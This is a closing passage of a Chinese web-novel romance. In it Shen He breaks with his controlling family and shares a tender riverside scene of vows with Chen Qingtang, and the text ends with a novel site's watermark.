登上高台,当着沈父的面,当着所有人的面,把套在他身上这么多年的枷锁,一点点砍断,彻底挣脱控制的感觉,简直太爽了。 无与伦比的畅快、自在,好像空气都清爽了几分。 沈鹤需要一个这样仪式,跟过去的自己,跟沈家,跟沈父决裂,跟一切说再见。 从此后,他将迈向彻底的新生。 沈鹤抱住陈清棠,揽着他的腰:“以后我们自己创业,不要理会他们。” 这个他们指的是沈父和沈母。 陈清棠笑:“好。” 沈鹤顿了下:“如果等以后,他们醒悟了想通了,还想让我回去继承沈家,我也会回去,那是我该承担的家族责任,可以吗。” 或许他们毕业都等不到那一天。 陈清棠总是无条件地站在他身边:“好。我都支持你。” 沈鹤将他抱得更紧。 宴会结束,送走宾客,处理完所有后续事情后,已经是晚上了。 晚风微凉,月色正好,两人走在江边,吹着风很惬意。 陈清棠朝沈鹤伸出手:“牵吗。” 沈鹤看了两秒,同他十指紧扣,这一瞬是难以形容的安心和幸福。 陈清棠忽然笑了声。 沈鹤:“怎么了。” 陈清棠偏头看他:“就是想笑。感觉很幸福很幸福。” 沈鹤凝视着他眼里细碎的光点,心都要化了:“我也是。” 陈清棠站在比路平面高出半米的台上,双手张开保持平衡,一边往前走一边同沈鹤说话: “沈哥,我们圆满了吗。” 沈鹤像个忠实的骑士,握着他的手指尖:“不知道。” 他不曾体会过圆满,所以不知道什么是圆满,无法下定论。 陈清棠:“那,我们在相爱吗。” 沈鹤很肯定:“是的。” 陈清棠:“我们会幸福吗。” 沈鹤:“会的。” 陈清棠:“你会爱我多久。” 沈鹤无奈地仰头看他,那眼神很分明的在说‘你明明知道’。 陈清棠便朝他露出一个笑:“我也是。” 他转身面对沈鹤:“接住我,我来咯?” 沈鹤张开双臂,在陈清棠往下跳的时候,结结实实地将他抱在了怀里。 陈清棠温柔地看着他:“谢谢你接住我。” 两辈子了,终于落入了这个人的怀里。 沈鹤就低头亲吻他。 “谢谢你跳向我。我爱你,宝贝。” 他们终得一世圆满。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&